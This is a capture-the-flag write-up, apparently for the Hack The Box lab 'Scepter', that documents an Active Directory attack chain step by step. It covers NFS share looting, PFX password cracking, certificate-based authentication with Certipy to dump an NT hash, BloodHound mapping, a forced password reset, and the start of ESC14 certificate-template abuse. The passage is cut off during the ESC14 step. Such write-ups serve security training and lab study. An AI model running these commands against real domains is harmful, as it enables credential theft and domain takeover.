RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-04-20 08:39:12Z)
111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after:  2025-11-01T03:22:33
| MD5:   2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after:  2025-11-01T03:22:33
| MD5:   2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
2049/tcp  open  nlockmgr      syn-ack 1-4 (RPC #100021)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after:  2025-11-01T03:22:33
| MD5:   2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T03:22:33
| Not valid after:  2025-11-01T03:22:33
| MD5:   2af6:88f7:a6bf:ef50:9b84:3dc6:3df5:e018
| SHA-1: cd9a:97ee:25c8:00ba:1427:c259:02ed:6e0d:9a21:7fd9
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITYgAAACHTgl9VBArXxgAAAAAAITANBgkqhkiG9w0BAQsF
| ...
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m02s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2025-04-20T08:40:40+00:00; +8h00m01s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=dc01.scepter.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T00:21:41
| Not valid after:  2025-11-01T00:41:41
| MD5:   e84c:6894:816e:b7f5:4338:0a1f:a896:2075
| SHA-1: 4e58:3799:020d:aaf4:d5ce:0c1e:76db:32cd:5a0e:28a7
| -----BEGIN CERTIFICATE-----
| MIIDLTCCAhWgAwIBAgIQYr4O5l5zSo9Nt/NWAsz/gDANBgkqhkiG9w0BAQsFADAb
| ...
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49678/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc         syn-ack Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack Microsoft Windows RPC
49707/tcp open  msrpc         syn-ack Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack Microsoft Windows RPC
49736/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-04-20T08:40:18
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 9553/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 27099/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 55449/udp): CLEAN (Timeout)
|   Check 4 (port 44904/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m00s

We are dealing with Windows AD CS:

  • Hostname: DC01
  • Domain: scepter.htb
  • Certificate Service CA: scepter-DC01-CA
  • Exposed services:
    • Kerberos (88, 464) – can be donsidered for AS-REP roasting or Kerberoasting
    • LDAP/LDAPS (389, 636, 3268, 3269) – enumeration of domain users and structure
    • SMB (445, 139) – can be tested for share enumeration, null sessions
    • WinRM (5985, 5986) – potential foothold via password reuse or evil-winrm
    • NFS (2049) – rare on Windows, must be verified and might be key

SMB Enum

Null Session

Check if Null Session, also known as Anonymous session:

$ nxc smb $target_ip -u '' -p ''
SMB         10.129.▒▒.▒▒  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.129.▒▒.▒▒  445    DC01             [+] scepter.htb\:

$ nxc smb $target_ip -u '' -p '' --shares
SMB         10.129.▒▒.▒▒  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.129.▒▒.▒▒  445    DC01             [+] scepter.htb\:
SMB         10.129.▒▒.▒▒  445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

Anonymous login is allowed, but access to shares is restricted.

NFS Service Enum

Even though unusual on Windows, our rpcinfo shows active nfs/mountd on port 2049. If it's real:

$ showmount -e $target_ip
Export list for 10.129.▒▒.▒▒:
/helpdesk (everyone)

/helpdesk is the exported NFS share. Since it's accessible to everyone, that's a red flag already: no root squash or IP restriction.

USER

NFS

Mount NFS

NFS (Network File System) is typically a Unix/Linux file-sharing protocol. Seeing it exposed on a Windows Domain Controller is unusual and strongly suggests:

  • It's being emulated (e.g., via Services for NFS on Windows or WSL)
  • It could be leaking sensitive files (e.g., registry hives, user data, scripts)

When NFS is open (2049) and allows unauthenticated or misconfigured access, as we found out from the RECON phase:

$ showmount -e $target_ip
Export list for 10.129.▒▒.▒▒:
/helpdesk (everyone)

Attackers can:

  1. Mount the remote NFS share
  2. Access files with no authentication
  3. Extract them

Therefore, the 1st step is to mount the NFS share locally:

$ mkdir -p nfs

$ sudo mount -t nfs $target_ip:/helpdesk ./nfs

$ ll
total 512
drwx------ 2 nobody nobody 64 Nov  1 20:02 nfs

$ sudo ls nfs -l
total 25
-rwx------ 1 nobody nobody 2484 Nov  1 20:01 baker.crt
-rwx------ 1 nobody nobody 2029 Nov  1 20:01 baker.key
-rwx------ 1 nobody nobody 3315 Nov  1 20:01 clark.pfx
-rwx------ 1 nobody nobody 3315 Nov  1 20:01 lewis.pfx
-rwx------ 1 nobody nobody 3315 Nov  1 20:02 scott.pfx

These files look extremely valuable:

FilenameLikely ContentUse Case
baker.crtX.509 Certificate (public key)Identity certificate (useless alone)
baker.keyPrivate keyIf not encrypted, can be gold
*.pfxPKCS#12 container (cert+key+chain)May include cert + private key + password for users

We have 3 .pfx files: clark, lewis, scott, which are potentially personal certificates with embedded credentials.

Naturally, we'd exfiltrate the files to our local box for closer scrutiny. However, Zsh enforces strict globbing semantics — unmatched patterns trigger failures by default. No matter. A quick sudo bash -c sidestep neatly bypasses this limitation:

$ sudo cp nfs/* .
zsh: no matches found: nfs/*

$ sudo bash -c 'cp nfs/* .'

$ sudo chown -R Axura:Axura .
chown: changing ownership of './nfs/baker.crt': Permission denied
chown: changing ownership of './nfs/baker.key': Permission denied
chown: changing ownership of './nfs/clark.pfx': Permission denied
chown: changing ownership of './nfs/lewis.pfx': Permission denied
chown: changing ownership of './nfs/scott.pfx': Permission denied
chown: changing ownership of './nfs': Permission denied

$ ll
total 21K
-rwx------ 1 Axura  Axura  2.5K Apr 19 18:24 baker.crt
-rwx------ 1 Axura  Axura  2.0K Apr 19 18:24 baker.key
-rwx------ 1 Axura  Axura  3.3K Apr 19 18:24 clark.pfx
-rwx------ 1 Axura  Axura  3.3K Apr 19 18:24 lewis.pfx
drwx------ 2 nobody nobody   64 Nov  1 20:02 nfs
-rwx------ 1 Axura  Axura  3.3K Apr 19 18:24 scott.pfx

Now that we've successfully copied the files out of the NFS share, we no longer need the mount. Unmounting will prevent accidental access issues or permission conflicts:

Bash
sudo umount nfs

PFX Abuse

Personal Information Exchange | .pfx

During enumeration, we uncovered several .pfx artifacts — Personal Information Exchange files—typically used in application code signing and secure authentication. These bundles encapsulate critical cryptographic elements in a portable, password-protected container.

A .pfx (aka .p12) file is a certificate bundle that contains:

  • A certificate (.crt)
  • Its corresponding private key (.key)
  • Optionally: the certificate chain (intermediate/root CA certs)

To create .pfx, we must have both:

  1. A valid certificate (.crt) — this includes the Subject, UPN/email, etc.
  2. The corresponding unencrypted private key (.key) — or the password for it

If the private key is protected, decryption is mandatory prior to bundling.

Once both assets are in hand, the conversion is trivial with openssl:

Bash
openssl pkcs12 -export -out example.pfx -inkey example.key -in example.crt
  • -inkey example.key: the private key (must be decrypted if encrypted)
  • -in example.crt: the matching certificate
  • -out example.pfx: output .pfx file
  • -certfile ca.crt: (optional) include CA cert if needed

Extract PFX Password | John

Now let's try dumping their contents. Start with clark.pfx with empty password:

$ openssl pkcs12 -in clark.pfx -out clark.pem -nodes
Enter Import Password:
Mac verify error: invalid password?

It's protected — We'll move to offline brute-force using John the Ripper with the jumbo version, which includes the pfx2john utility:

$ pfx2john.py
Usage: /home/Axura/hacktools/john-bleeding-jumbo/run/pfx2john.py <.pfx file(s)>

$ pfx2john.py clark.pfx > clark.hash

$ cat clark.hash
clark.pfx:$pfxng$256$32$2048$8$54c95d961b0bf1ef$30820c8e...235:::::clark.pfx

Try to crack it with rockyou.txt. A dummy password was found:

$ john clark.hash --wordlist=/home/Axura/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 128/128 AVX 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword      (clark.pfx)
1g 0:00:00:00 DONE (2025-04-19 18:39) 4.545g/s 23272p/s 23272c/s 23272C/s newzealand..allison1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now we can use the password to access the PFX file again and inspect the output .pem:

$ openssl pkcs12 -in clark.pfx -out clark.pem -nodes
Enter Import Password:
(newpassword)

$ ls *.pem
clark.pem

$ cat clark.pem
Bag Attributes
    localKeyID: E1 84 EA CC 0B 68 19 40 D4 CA 6B 14 C1 8E 9E 30 E7 AA 48 B4
subject=DC=htb, DC=scepter, CN=Users, CN=m.clark
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGEzCCBPugAwdjsfsodfsowerBJkjnh3IfX0w3VfI=
[...]

A valid certificate for CN=m.clark (in the scepter.htb domain.

Public Key | .crt

None of the existed .pfx file works for authentication. So we will pay our attention on the baker.crt and baker.key pair:

$ ls baker.*
baker.crt  baker.key

The .crt file is an X.509 certificate, in PEM format with public key and identity of a user. It's signed by the internal CA (scepter-DC01-CA), so it's trusted by the AD domain.

We can inspect it:

$ openssl x509 -in baker.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            62:00:00:00:32:e1:a5:c3:91:51:31:09:7b:00:00:00:00:00:32
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=htb, DC=scepter, CN=scepter-DC01-CA
        Validity
            Not Before: Nov  2 01:13:46 2024 GMT
            Not After : Nov  2 01:13:46 2025 GMT
        Subject: DC=htb, DC=scepter, CN=Users, CN=d.baker, [email protected]
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
[...]

This is a rich certificate with all the indicators that we can proceed with certificate-based authentication (PKINIT).

The extracted subject:

CN=Users, CN=d.baker, emailAddress=[email protected]

This confirms the UPN is set, which is required for PKINIT auth using Certipy or Rubeus — our next target would be generating a PFX for the identified domain user d.bake.

Private Key | .key

Earlier tests revealed that all *.pfx files share a common passphrase: newpassword. This insight enables seamless reuse during validation:

$ openssl rsa -in baker.key -check

Enter pass phrase for baker.key:
Could not find private key from baker.key
80FBA64997710000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:crypto/store/store_result.c:151:
80FBA64997710000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:107:
80FBA64997710000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:crypto/pkcs12/p12_decr.c:92:empty password

It turns out baker.key is a password-protected private key We cannot directly use it to make a .pfx if we have the password.

Password Reusing

In our previous tests, we found out all the password phases of the *.pfx is the same one — newpassword. So we can try to reuse the password for testing:

$ openssl rsa -in baker.key -check
Enter pass phrase for baker.key:
(newpassword)

RSA key ok
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClg48ce3DwKwgh
[...]
bwM9VxTEXS46dI/ekST2kBY=
-----END PRIVATE KEY-----

This successful decryption validates newpassword as the legitimate passphrase, confirming control over the private key and enabling further abuse through .pfx generation or impersonation.

Generate PFX | Certipy

Now that the .pfx generation is complete, let's weaponize it for post-exploitation:

$ openssl pkcs12 -export \
    -inkey baker.key \
    -in baker.crt \
    -out baker.pfx
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:

$ ls baker.*
baker.crt  baker.key  baker.pfx

To streamline our workflow, we leave the .pfx export password empty — Certipy prefers it that way unless you shift to tooling like PKINITtools, which supports manual passphrase entry (see Mist writeup for full context).

After generating the .pfx, authenticate:

Bash
certipy auth -pfx baker.pfx -dc-ip $target_ip -domain scepter.htb

When authenticate using Certipy, compensating for the clock skew using faketime, introduced in the Certified writeup (or leverage a bash script wrapper mentioned in the Haze writeup for Arch Linux distro — what I do here):

$ su root
Password:

$ ./ft.sh $target_ip \
certipy auth -pfx baker.pfx -dc-ip $target_ip -domain scepter.htb
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.532845
28801.532845s
[*] Running: certipy auth -pfx baker.pfx -dc-ip 10.129.▒▒.▒▒ -domain scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

Test the NTLM hash across protocols with Netexec:

$ nxc smb $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB         10.129.▒▒.▒▒  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.129.▒▒.▒▒  445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

$ nxc ldap $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB         10.129.▒▒.▒▒  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
LDAP        10.129.▒▒.▒▒  389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

$ nxc winrm $target_ip -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
WINRM       10.129.▒▒.▒▒  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM       10.129.▒▒.▒▒  5985   DC01             [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

We've established working SMB and LDAP sessions with d.baker. No interactive WinRM shell.

BloodHound

LDAP access is all we need. With d.baker in hand and clock skew neutralized, we can launch bloodhound-python to extract a full snapshot of the domain:

Bash
./ft.sh $target_ip \
bloodhound-python -u 'd.baker' --hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
    -d 'scepter.htb' -ns $target_ip --zip -c All \
    -dc 'dc01.scepter.htb'

With that done, BloodHound opens up the attack surface like an x-ray.

We spot something interesting: d.baker has ForceChangePassword privileges over a.carter:

Digging deeper, a.carter is part of IT SUPPORT, a group with a potential delegation footprint, especially over certain OUs or users:

That's where it gets spicy — IT SUPPORT has GenericAll on the StaffAccessCertificate template:

Which means: a.carter owns that cert template. He can:

  • Modify its properties
  • Abuse its configuration
  • Request certificates as another user for the ones who have proper Enrollment Rights.

By abusing the cert template, we flip the chain — gaining write access back over d.baker:

Now, try to inspect our entry point. Only one user is in Remote Management Users: h.brown— a prime foothold:

h.brown is buried in privilege, stacked across multiple groups:

Further, We track the certificate publication map across the domain:

Among them: Helpdesk Enrollment Certificate — linked to a critical user: p.adams.

p.adams is a member of the Replication Operators group:

Which gives him the trifecta of domain replication rights:

  • GetChanges
  • GetChangesAll
  • GetChangesInFilteredSet

These translate to DCSync, the golden key for AD compromise — krbtgt, DA creds, the works.

The escalation game is on.

ForceChangePassword

We've walked this path before — the ForceChangePassword vector was dissected in the Haze writeup and resurfaced in various ops since. This time, d.baker has the leverage.

Fire up bloodyAD, surgically reset a.carter's password:

Bash
bloodyAD --host "dc01.scepter.htb" -d "scepter.htb" \
    -u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce' \
    set password "a.carter" 'Axura4sure~'

A clean success.

Let's verify the creds with Netexec, confirming the takeover with SMB or LDAP authentication:

Although a.carter is not permitted to log in via WinRM, neither. The chain just got longer.

Certificate Templates

Enum Templates

Following the password reset, we now compromise the a.carter user, who is a member of the IT SUPPORT group, holdings GenericAll privileges over the StaffAccessCertificate template.

We can use certipy find module to perform an enumeration on the AD CS certificate templates:

Bash
certipy find -u 'a.carter'@scepter.htb -p 'Axura4sure~' -dc-ip $target_ip

It outputs the enumeration results into a JSON file:

JSON
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "scepter-DC01-CA",
      "DNS Name": "dc01.scepter.htb",
      "Certificate Subject": "CN=scepter-DC01-CA, DC=scepter, DC=htb",
      "Certificate Serial Number": "716BFFE1BE1CD1A24010F3AD0E350340",
      "Certificate Validity Start": "2024-10-31 22:24:19+00:00",
      "Certificate Validity End": "2061-10-31 22:34:19+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "SCEPTER.HTB\\Administrators",
        "Access Rights": {
          "2": [
            "SCEPTER.HTB\\Administrators",
            "SCEPTER.HTB\\Domain Admins",
            "SCEPTER.HTB\\Enterprise Admins"
          ],
          "1": [
            "SCEPTER.HTB\\Administrators",
            "SCEPTER.HTB\\Domain Admins",
            "SCEPTER.HTB\\Enterprise Admins"
          ],
          "512": [
            "SCEPTER.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
[...]
  • This is an Enterprise CA on dc01.scepter.htb
  • It does not support Web Enrollment (/certsrv) — so no ESC1.
  • It does not allow user-specified SAN (Subject Alternative Name) globally → this would mitigate ESC1–3 unless a vulnerable template allows it.
  • It allows issuing certificates directly without approval (Request Disposition: Issue)
  • CA-level permissions:
    • Authenticated Users can enroll certificates (right 512) — important for attack chaining.

HelpdeskEnrollmentCertificate

JSON
"Certificate Templates": {
"0": {
  "Template Name": "HelpdeskEnrollmentCertificate",
  "Display Name": "HelpdeskEnrollmentCertificate",
  "Certificate Authorities": [
    "scepter-DC01-CA"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    "SubjectRequireDnsAsCn",
    "SubjectAltRequireDns"
  ],
  "Enrollment Flag": [
    "AutoEnrollment"
  ],
  "Private Key Flag": [
    "16777216",
    "65536"
  ],
  "Extended Key Usage": [
    "Server Authentication",
    "Client Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Validity Period": "99 years",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Domain Computers",
        "SCEPTER.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "SCEPTER.HTB\\Administrator",
      "Write Owner Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Enterprise Admins",
        "SCEPTER.HTB\\Administrator"
      ],
      "Write Dacl Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Enterprise Admins",
        "SCEPTER.HTB\\Administrator"
      ],
      "Write Property Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Enterprise Admins",
        "SCEPTER.HTB\\Administrator"
      ]
    }
  }
}

Only the following principals are allowed to enroll:

  • SCEPTER.HTB\Domain Admins
  • SCEPTER.HTB\Domain Computers
  • SCEPTER.HTB\Enterprise Admins

ACLs / Control Rights:

  • Template is owned by: SCEPTER.HTB\Administrator
  • Full modification rights (WriteOwner, WriteDacl, WriteProperty) granted to:
    • Domain Admins
    • Enterprise Admins
    • Administrator

And from there, we spin up a BloodHound digestor with precision:

Bash
certipy find -old-bloodhound -u 'a.carter'@scepter.htb -p 'Axura4sure~' -dc-ip $target_ip

Which allows us inspect more details inside BloodHound later.

StaffAccessCertificate

JSON
"Certificate Templates": {
"1": {
  "Template Name": "StaffAccessCertificate",
  "Display Name": "StaffAccessCertificate",
  "Certificate Authorities": [
    "scepter-DC01-CA"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    "SubjectRequireEmail",
    "SubjectRequireDnsAsCn",
    "SubjectAltRequireEmail"
  ],
  "Enrollment Flag": [
    "NoSecurityExtension",
    "AutoEnrollment"
  ],
  "Private Key Flag": [
    "16777216",
    "65536"
  ],
  "Extended Key Usage": [
    "Client Authentication",
    "Server Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Validity Period": "99 years",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "SCEPTER.HTB\\staff"
      ]
    },
    "Object Control Permissions": {
      "Owner": "SCEPTER.HTB\\Enterprise Admins",
      "Full Control Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Local System",
        "SCEPTER.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Local System",
        "SCEPTER.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Local System",
        "SCEPTER.HTB\\Enterprise Admins"
      ],
      "Write Property Principals": [
        "SCEPTER.HTB\\Domain Admins",
        "SCEPTER.HTB\\Local System",
        "SCEPTER.HTB\\Enterprise Admins"
      ]
    }
  }
}

The StaffAccessCertificate template starts to look interesting, with important details:

  • Requires email + DNS in subject (but not UPN)
  • Has SubjectAltRequireEmail, which is a known condition required for ESC14
  • Also has NoSecurityExtension — which weakens certificate protections

Subject Alternative Name Require Email (subjectaltrequireemail): Whether the certificate template requires the email of the subject for the Subject Alternative Name.

Directory: msPKI-Certificate-Name-Flag (CT_FLAG_SUBJECT_ALT_ REQUIRE_EMAIL)

Only the group staff can enroll, for example d.baker:

If any user we control can both enroll and control their mail attribute, this could lead to impersonation.

ESC14 B: X509RFC822 (Email)

Methodology

We start with the knowledge that the certificate template StaffAccessCertificate is configured with:

  • Enrollment Rights: SCEPTER.HTB\staff
  • Enrollment Flags: Includes CT_FLAG_NO_SECURITY_EXTENSION
  • Name Flags: Includes CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL

This combination indicates a potential for ESC14 (B) abuse, introduced on Hacker Recipes, but only if we can satisfy the mapping requirements:

RequirementMet?Explanation
1. Target is a user accounth.brown is a user
2. altSecurityIdentities has X509:<I=...><S=...> with RFC822/email mappingNot confirmed yet
3. Attacker can write mail of victim accounta.carter has control over d.baker (via OU permissions). So we can set [email protected][email protected]
4. A certificate template exists that allows d.baker to enroll and:
— has CT_FLAG_NO_SECURITY_EXTENSIONStaffAccessCertificate has NoSecurityExtension in Enrollment Flags
— has CT_FLAG_SUBJECT_ALT_REQUIRE_EMAILIt includes SubjectAltRequireEmail in Name Flags

Therefore, we can query for all users in LDAP that have the altSecurityIdentities attribute set, using a valid user we control (a.carter) with appropriate read permissions:

$ ldapsearch -x -H ldap://dc01.scepter.htb \
    -D "[email protected]" -w 'Axura4sure~' \
    -b "DC=scepter,DC=htb" "(altSecurityIdentities=*)" \
    altSecurityIdentities sAMAccountName

# extended LDIF
#
# LDAPv3
# base <DC=scepter,DC=htb> with scope subtree
# filter: (altSecurityIdentities=*)
# requesting: altSecurityIdentities sAMAccountName
#

# h.brown, Users, scepter.htb
dn: CN=h.brown,CN=Users,DC=scepter,DC=htb
sAMAccountName: h.brown
altSecurityIdentities: X509:<RFC822>[email protected]

# search reference
ref: ldap://ForestDnsZones.scepter.htb/DC=ForestDnsZones,DC=scepter,DC=htb

# search reference
